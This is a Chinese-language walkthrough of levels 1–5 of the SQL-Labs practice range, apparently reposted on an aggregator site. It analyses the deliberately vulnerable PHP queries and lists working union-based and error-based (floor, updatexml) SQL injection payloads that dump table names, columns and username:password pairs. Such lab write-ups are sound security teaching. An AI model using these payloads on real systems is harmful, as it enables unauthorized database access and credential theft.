SQL-Labs靶场“1-5”关通关教程

君衍.

  • 一、准备工作
  • 二、第一关 基于GET单引号字符型注入
    • 1、源码分析
    • 2、联合查询注入过程
  • 三、第二关 基于GET整型注入
    • 1、源码分析
    • 2、联合查询注入过程
  • 四、第三关 基于GET单引号变形注入
    • 1、源码分析
    • 2、联合查询注入过程
  • 五、第四关 基于GET双引号字符型注入
    • 1、源码分析
    • 2、联合查询注入过程
  • 六、第五关 基于GET单引号报错注入
    • 1、源码分析
    • 2、floor报错注入
    • 3、updatexml报错注入

点击跳转:
SQL-Labs靶场“6-10”关通关教程
SQL-Labs靶场“11-15”关通关教程

一、准备工作

这里首先我们需要搭建好SQL-Labs靶场来供我们使用,可以参考这篇文章详细阐述了搭建靶场的步骤以及注意事项(SQL靶场搭建及注入思路基础)

SQL-Labs是一个帮你总结大部分SQL注入漏洞类型的靶场,学习SQL注入漏洞原理,复现SQL注入漏洞必备靶场环境。

我们在使用靶场注入之前需要读上面这篇文章理解注入的含义以及目的,同时简单了解注入的方式,下面我们进行SQL-Labs靶场实践。

二、第一关 基于GET单引号字符型注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=‘$id’

在这里插入图片描述

1、源码分析

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';print_r(mysqli_error($con1));echo "</font>";  }
}else { echo "Please input the ID as parameter with numeric value";}

在这里插入图片描述
下面我们进行分析下:
这段代码用于从users数据库表中进行检索用户的信息。

# 定义一个SQL查询语句,用于从users表中选择所有列,查询ID列(用户所输入变量id传入)
# LIMIT 0,1限制结果集只返回一行
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 执行SQL查询并将结果存储在result变量中
# con1是数据库连接对象
$result=mysqli_query($con1, $sql);
# 下面从查询结果中获取一行数据,存入row的关联数组中
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
# if进行判断row变量中是否包含了有效的数据库行
# 如果row不为空,说明查询成功if($row){echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';# 这一行输出了MySQL数据库操作中产生的错误信息。print_r(mysqli_error($con1));echo "</font>";  }
}# 判断传入参数是否合法else { echo "Please input the ID as parameter with numeric value";}

mysqli_fetch_array()函数是从结果集中获取数据行,并以关联数组和数字索引数组的形式返回数据。MYSQLI_BOTH参数指示返回关联数组和数字索引数组两种形式。
这里我们会发现报错回显会有注入点。

2、联合查询注入过程

1、单引号逃逸

在源码分析中我们找到了注入点,这里首先我们进行测试:

?id=1'

在这里插入图片描述
这里我们可以看到报错,所以我们需要逃逸单引号:

?id=1'--+

在这里插入图片描述

2、猜字段数

这里之所以要进行猜字段数,是因为我想要使用联合查询,但是使用联合查询必须满足两个表列相同,不然就会报错。所以我们这里需要进行判断联合的两个表列有多少列,使用order by(原本是用来排序,但是在添加列时,如果按照一个没有的列进行排序就会报错):
在这里插入图片描述
上图是我们进行上帝视角来查看order by的使用,下面我们继续进行猜字段(上图我们可以看到users表中只有三个字段):

?id=1' order by 4--+

在这里插入图片描述
这里我们进行猜字段时可以使用二分法来进行测试,我们可以看到当按照第四个字段进行排序时,数据库进行了报错,和我们使用上帝视角的回显内容一样,所以我们可以得知这个users表只有三个字段。所以这也便于我们之后使用联合查询时,规定字段数,即为:

?id=1' union select 1,2,3--+

在这里插入图片描述

3、联合查询

使用联合查询我们还需注意一个知识点,那便是使用联合查询时,前面条件为真时,我们后面的语句就不执行了,在上面这张图中我们便可以看到,所以这里我们需要使联合查询前面条件为假,我们这里直接使用-1,因为id一般是无符号整型,所以这里我们直接令id=-1:

?id=-1' union select 1,2,3--+

在这里插入图片描述
这里我们可以看到2,3,我们可以上帝视角来查看,这时我们进行查询:
在这里插入图片描述
这里我们即可看到可以使用2,3来进行出数据,那么我们先测试下数据库的名称以及版本即为:

?id=-1' union select 1,database(),version()--+

在这里插入图片描述
这里我们即可看到该数据库的名称以及版本。

4、爆表名,这里我们涉及到数据库的各个库表,建议查看下SQL注入基础再学习。

我们知道在information_schema数据库中的TABLES存放着数据库的所有表名,所以:

?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

在这里插入图片描述
这里我们就可以爆出所有表的名称,我们查看哪个表可疑继续注入,我们可以看到有个users表。

5、查列名,这里我们就需要使用到information.schema数据库中的column表来使用。

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

在这里插入图片描述

6、查询数据

既然到这里我们将列已经查了出来,我们查询数据的要求(数据库名、表名、列名)已经可以进行查询数据了。

?id=-1'union select 1,group_concat(username,0x3a,password),3 from users--+

在这里插入图片描述
当然,你也可以一个一个对应着去查:

?id=-1'union select 1,concat(username,0x3a,password),3 from users limit 0,1--+

在这里插入图片描述

三、第二关 基于GET整型注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=$id

在这里插入图片描述

1、源码分析

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
···
# 剩下的与第一关代码相同

这里我们直接可以看到和第一关不一样的只有闭合方式,第二关没有引号的闭合,所以这里我们之后注入时不用进行逃逸。
在这里插入图片描述
同时我们可以参考第一关的源码分析发现这里依旧是输出了报错存在注入点。

2、联合查询注入过程

老规矩,和第一关注入思路一样,但是第二关不用进行单引号逃逸

1、猜字段数

?id=1 order by 3--+
?id=1 order by 4--+

在这里插入图片描述

在这里插入图片描述
这里我们可以知道字段数为3。

2、联合查询

?id=-1 union select 1,database(),version()--+

这里即可爆出数据库的名称以及版本号:
在这里插入图片描述

3、爆表名,这里我们涉及到数据库的各个库表,建议查看下SQL注入基础再学习。

我们知道在information_schema数据库中的TABLES存放着数据库的所有表名,所以:

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

在这里插入图片描述
这里我们就可以爆出所有表的名称,我们查看哪个表可疑继续注入,我们可以看到有个users表。

4、查列名,这里我们就需要使用到information.schema数据库中的column表来使用。

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

在这里插入图片描述

5、查询数据

既然到这里我们将列已经查了出来,我们查询数据的要求(数据库名、表名、列名)已经可以进行查询数据了。

?id=-1 union select 1,group_concat(username,0x3a,password),3 from users--+

在这里插入图片描述

当然,你也可以一个一个对应着去查:

?id=-1 union select 1,concat(username,0x3a,password),3 from users limit 0,1--+
?id=-1 union select 1,concat(username,0x3a,password),3 from users limit 1,1--+
······

在这里插入图片描述
在这里插入图片描述

四、第三关 基于GET单引号变形注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=($id)

在这里插入图片描述

1、源码分析

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
···
# 剩下的与第一关代码相同

这里我们直接可以看到和第一关不一样的只有闭合方式,第三关不但有引号的闭合,还有括号的闭合,所以这里我们之后注入时需要注意单引号以及括号的逃逸。
在这里插入图片描述
同时我们可以参考第一关的源码分析发现这里依旧是输出了报错存在注入点。

2、联合查询注入过程

1、猜字段数

?id=1') order by 3--+
?id=1') order by 4--+

在这里插入图片描述
在这里插入图片描述
这里我们可以知道字段数为3。

2、联合查询

?id=-1') union select 1,database(),version()--+

这里即可爆出数据库的名称以及版本号:
在这里插入图片描述

3、爆表名,这里我们涉及到数据库的各个库表,建议查看下SQL注入基础再学习。

我们知道在information_schema数据库中的TABLES存放着数据库的所有表名,所以:

?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

在这里插入图片描述
这里我们就可以爆出所有表的名称,我们查看哪个表可疑继续注入,我们可以看到有个users表。

4、查列名,这里我们就需要使用到information.schema数据库中的column表来使用。

?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

在这里插入图片描述

5、查询数据

既然到这里我们将列已经查了出来,我们查询数据的要求(数据库名、表名、列名)已经可以进行查询数据了。

?id=-1') union select 1,group_concat(username,0x3a,password),3 from users--+

在这里插入图片描述
当然,你也可以一个一个对应着去查:

?id=-1') union select 1,concat(username,0x3a,password),3 from users limit 0,1--+
?id=-1') union select 1,concat(username,0x3a,password),3 from users limit 1,1--+
······

在这里插入图片描述
在这里插入图片描述

五、第四关 基于GET双引号字符型注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=(“$id”)

在这里插入图片描述

1、源码分析

# 先双引号 在括号拼接
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
···
# 剩下的与第一关代码相同

这里我们直接可以看到和第一关不一样的只有闭合方式,第四关不但有双引号的闭合,还有括号的闭合,所以这里我们之后注入时需要注意双引号以及括号的逃逸。
在这里插入图片描述
同时我们可以参考第一关的源码分析发现这里依旧是输出了报错存在注入点。

2、联合查询注入过程

1、猜字段数

?id=1") order by 3--+
?id=1") order by 4--+

在这里插入图片描述
在这里插入图片描述
这里我们可以知道字段数为3。

2、联合查询

?id=-1") union select 1,database(),version()--+

这里即可爆出数据库的名称以及版本号:
在这里插入图片描述

3、爆表名,这里我们涉及到数据库的各个库表,建议查看下SQL注入基础再学习。

我们知道在information_schema数据库中的TABLES存放着数据库的所有表名,所以:

?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

在这里插入图片描述
这里我们就可以爆出所有表的名称,我们查看哪个表可疑继续注入,我们可以看到有个users表。

4、查列名,这里我们就需要使用到information.schema数据库中的column表来使用。

?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

在这里插入图片描述

5、查询数据

既然到这里我们将列已经查了出来,我们查询数据的要求(数据库名、表名、列名)已经可以进行查询数据了。

?id=-1") union select 1,group_concat(username,0x3a,password),3 from users--+

在这里插入图片描述
当然,你也可以一个一个对应着去查:

?id=-1") union select 1,concat(username,0x3a,password),3 from users limit 0,1--+
?id=-1") union select 1,concat(username,0x3a,password),3 from users limit 1,1--+
······

在这里插入图片描述
在这里插入图片描述

六、第五关 基于GET单引号报错注入

请求方式注入类型拼接方式
GET报错、布尔盲注、延时盲注id=‘$id’

在这里插入图片描述
因为不输出查询的结果,这就导致不可以使用联合查询的注入方式,但是并不影响正常使用报错、布尔盲注和延时盲注。

1、源码分析

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){echo '<font size="5" color="#FFFF00">';	echo 'You are in...........';echo "<br>";echo "</font>";}else {echo '<font size="3" color="#FFFF00">';print_r(mysqli_error($con1));echo "</br></font>";	echo '<font color= "#0000ff" font size= 3>';	}
}else { echo "Please input the ID as parameter with numeric value";}

这里我们依旧可以看到拥有输出报错结果的注入点,但是如果输入id,不论为多少,那么界面都是you are in猜测正确的页面不变,不将查询结果打印出来。

# 定义了查询语句,从users表中选择所有字段,条件是id字段为用户输入的
# 同时只返回一行结果通过LIMIT 0,1限制
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 执行上面查询语句保存在result变量,con1是连接数据库变量
$result=mysqli_query($con1, $sql);
# 这行从查询结果中提取一行数据存入row变量中。
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
# 判断是否成功获取数据if($row){echo '<font size="5" color="#FFFF00">';	# 成功输入You are in···echo 'You are in...........';echo "<br>";echo "</font>";}else {# 输出报错信息echo '<font size="3" color="#FFFF00">';print_r(mysqli_error($con1));echo "</br></font>";	echo '<font color= "#0000ff" font size= 3>';	}
}# 判单row是否为空,为空则输出else { echo "Please input the ID as parameter with numeric value";}

2、floor报错注入

详细报错注入原理见SQL报错注入基础

  • 获取当前数据库
?id=1' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

  • 获取该数据库中的表名
?id=1' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里我们会发现users可疑,那么我们下一步就是查询users的列名。

  • 获取表中的列名
?id=1' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 4,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 5,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里我们找到可疑的字段继续进行查询,即为username以及password:

  • 获取数据
?id=1' or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)--+

在这里插入图片描述

?id=1' or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 1,1),floor(rand(0)*2))x from users group by x)a)--+

在这里插入图片描述
剩下的不再进行举例,floor报错注入结束。

3、updatexml报错注入

  • 获取当前数据库名称
?id=1’ and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

  • 获取数据库中的表
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

在这里插入图片描述

  • 获取可疑表users表的列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

在这里插入图片描述

  • 冲数据
?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述

?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)--+

在这里插入图片描述
这里也就不赘述了,如果想要详细了解updatexml报错注入可以查看这篇文章:updatexml报错注入

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/689397.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

你真的会数据结构吗:单链表

❀❀❀ 文章由不准备秃的大伟原创 ❀❀❀ ♪♪♪ 若有转载&#xff0c;请联系博主哦~ ♪♪♪ ❤❤❤ 致力学好编程的宝藏博主&#xff0c;代码兴国&#xff01;❤❤❤ 哈咯各位铁汁们&#xff0c;大家新年过得快乐吗&#xff1f;反正大伟是过得很快乐&#xff0c;天天就是玩玩玩…

面试redis篇-02缓存穿透

原理 例&#xff1a; 一个get请求&#xff1a;api/news/getById/1 缓存穿透&#xff1a;查询一个不存在的数据&#xff0c;mysql查询不到数据也不会直接写入缓存&#xff0c;就会导致每次请求都查数据库 解决方案一 缓存空数据&#xff0c;查询返回的数据为空&#xff0c;仍把…

Axure9必备函数(2)

字符串的属性和函数 length:返回字符串的字符长度&#xff0c;包括空格&#xff0c;注意:汉字占1个字符charAt(index):返回字符串中指定索引处的字符indexOf(searchValue"):返回调用函数的字符串中搜索值的第一个实例的起始索引。如果未找到搜索值&#xff0c;则返回 -1la…

ABAQUS应用04——集中质量的添加方法

文章目录 0. 背景1. 集中质量的编辑2. 约束的设置3. 总结 0. 背景 混塔ABAQUS模型中&#xff0c;机头、法兰等集中质量的设置是模型建立过程中的一部分&#xff0c;需要研究集中质量的添加。 1. 集中质量的编辑 集中质量本身的编辑没什么难度&#xff0c;我已经用Python代码…

Django后端开发——模型层及ORM介绍

文章目录 参考资料Django配置MySQL安装mysqlclient创建数据库进入数据库的操作可能遇到的问题及解决方案Pycharm配置settings.py 模型![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/c83753397bf6481d8defde26537903bf.png)ORM介绍示例终端&#xff1a;settings.py…

Linux——开发工具的使用

目录 Linux软件包管理器 yum rzsz Linux编辑器——vim vim的使用 vim的基本操作 命令模式的常见命令 底行模式的常见命令 vim是需要配置的 Linux编译器——gcc/g 预处理 编译 汇编 链接 函数库 Linux项目自动化构建工具 make/makefile make原理 项目清理 Linux调试器g…

踩坑实录(Fourth Day)

今天开工了&#xff0c;其实还沉浸在过年放假的喜悦中……今天在自己写 Vue3 的项目&#xff0c;虽说是跟着 B 站在敲&#xff0c;但是依旧是踩了一些个坑&#xff0c;就离谱……照着敲都能踩到坑&#xff0c;我也是醉了…… 此为第四篇&#xff08;2024 年 02 月 18 日&#x…

天锐绿盾|公司办公文件数据\资料自动智能透明加密——数据防泄漏系统

天锐绿盾是一款专注于企业电脑文件数据资料透明加密的防泄密系统。它采用了先进的文件过滤驱动透明加解密技术&#xff0c;可以对企业核心部门的文档进行强制加密处理&#xff0c;确保从文档创建开始就能自动加密保护。文件的保存加密、打开解密完全由后台加解密驱动内核自动完…

2024年热门项目持续分析,趣味测试小程序项目分析以及系统功能介绍

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、pandas是什么&#xff1f;二、使用步骤 1.引入库2.读入数据总结 前言 趣味测试小程序是目前比较热门的娱乐测试&#xff0c;运行模式就是引导粉丝用户进去…

【《高性能 MySQL》摘录】第 3 章 服务器性能剖析

文章目录 3.1 性能优化简介3.1.1 通过性能剖析进行优化3.1.2 理解性能剖析 3.2 对应用程序进行性能剖析3.3 剖析 MySQL 查询3.3.1 剖析服务器负载捕获 MySQL 的查询到日志文件中分析查询日志 3.3.2 剖析单挑查询使用 SHOW PROFILE &#xff08;现已过时&#xff09;使用SHOW ST…

Win32 获取EXE/DLL文件版本信息

CFileVersion.h #pragma once#include <windows.h> #include <string> #include <tchar.h>#ifdef _UNICODE using _tstring std::wstring; #else using _tstring std::string; #endif// 版本号辅助类 class CVersionNumber { public:CVersionNumber() :m_…

【天衍系列 05】Flink集成KafkaSink组件:实现流式数据的可靠传输 高效协同

文章目录 01 KafkaSink 版本&导言02 KafkaSink 基本概念03 KafkaSink 工作原理1.初始化连接2.定义序列化模式3.创建KafkaSink算子4.创建数据源5.将数据流添加到KafkaSink6.内部工作机制 04 KafkaSink参数配置05 KafkaSink 应用依赖06 KafkaSink 快速入门6.1 包结构6.2 项目…

【深度学习:数据注释工具】构建与购买:从业者的经验教训

【深度学习&#xff1a;数据注释工具】构建与购买&#xff1a;从业者的经验教训 为什么数据注释团队需要标记工具&#xff1f;您的软件工程团队是否有时间/资源来构建数据注释解决方案&#xff1f;为您的项目构建数据注释工具需要多长时间&#xff1f;将开发外包给第三方会更有…

SSH密钥认证登陆流程(Vscode连接到远程)

目录 前言连接远程步骤1. 下载工具包wsCli到本地机器2. 本地机器上生成ssh密钥3. 在服务器上安装公钥4. vscode连接到远程 参考资料 前言 SSH&#xff08;Secure Shell&#xff09;是一种用于远程登录和安全传输数据的网络协议。它提供了两种主要的远程连接方式&#xff1a; 密…

有趣的CSS - 新拟态输入框

我是 Just&#xff0c;这里是「设计师工作日常」&#xff0c;《有趣的css》系列已更新 11 篇了&#xff0c;今天这篇是关于新拟态风格的一个输入框效果&#xff0c;希望你们喜欢。 目录 页面效果核心代码html代码css代码 完整代码html页面css样式 页面效果 此效果使用 css 中 b…

PDF控件Spire.PDF for .NET【安全】演示:如何在 PDF 中添加签名字段

Spire.PDF for .NET 是一款独立 PDF 控件&#xff0c;用于 .NET 程序中创建、编辑和操作 PDF 文档。使用 Spire.PDF 类库&#xff0c;开发人员可以新建一个 PDF 文档或者对现有的 PDF 文档进行处理&#xff0c;且无需安装 Adobe Acrobat。 E-iceblue 功能类库Spire 系列文档处…

PyCharm 新建目录 (directory or folder)

PyCharm 新建目录 [directory or folder] 1. 新建目录2. Enter new directory name -> OKReferences 1. 新建目录 right mouse click on the project -> New -> Directory 2. Enter new directory name -> OK ​​​ References [1] Yongqiang Cheng, https:/…

go redis

go redis 快速入门 安装&#xff1a; go get github.com/redis/go-redis/v9然后创建客户端&#xff1a; package mainimport "github.com/redis/go-redis/v9"func main() {rdb : redis.NewClient(&redis.Options{Addr: "47.109.87.142:6379",Pa…

C++_design_model_observer

/* 观察者模式是一种常用的设计模式&#xff0c;用于在对象之间建立一种一对多的依赖关系&#xff0c;当被观察的对象发生变化时&#xff0c; 所有依赖于它的对象都能够得到通知并自动更新。下面是一个使用C实现观察者模式的例子&#xff1a; */#include <iostream> #inc…

Redis篇----第六篇

系列文章目录 文章目录 系列文章目录前言一、Redis 的持久化机制是什么?各自的优缺点?二、Redis 常见性能问题和解决方案:三、redis 过期键的删除策略?前言 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站,这篇文章…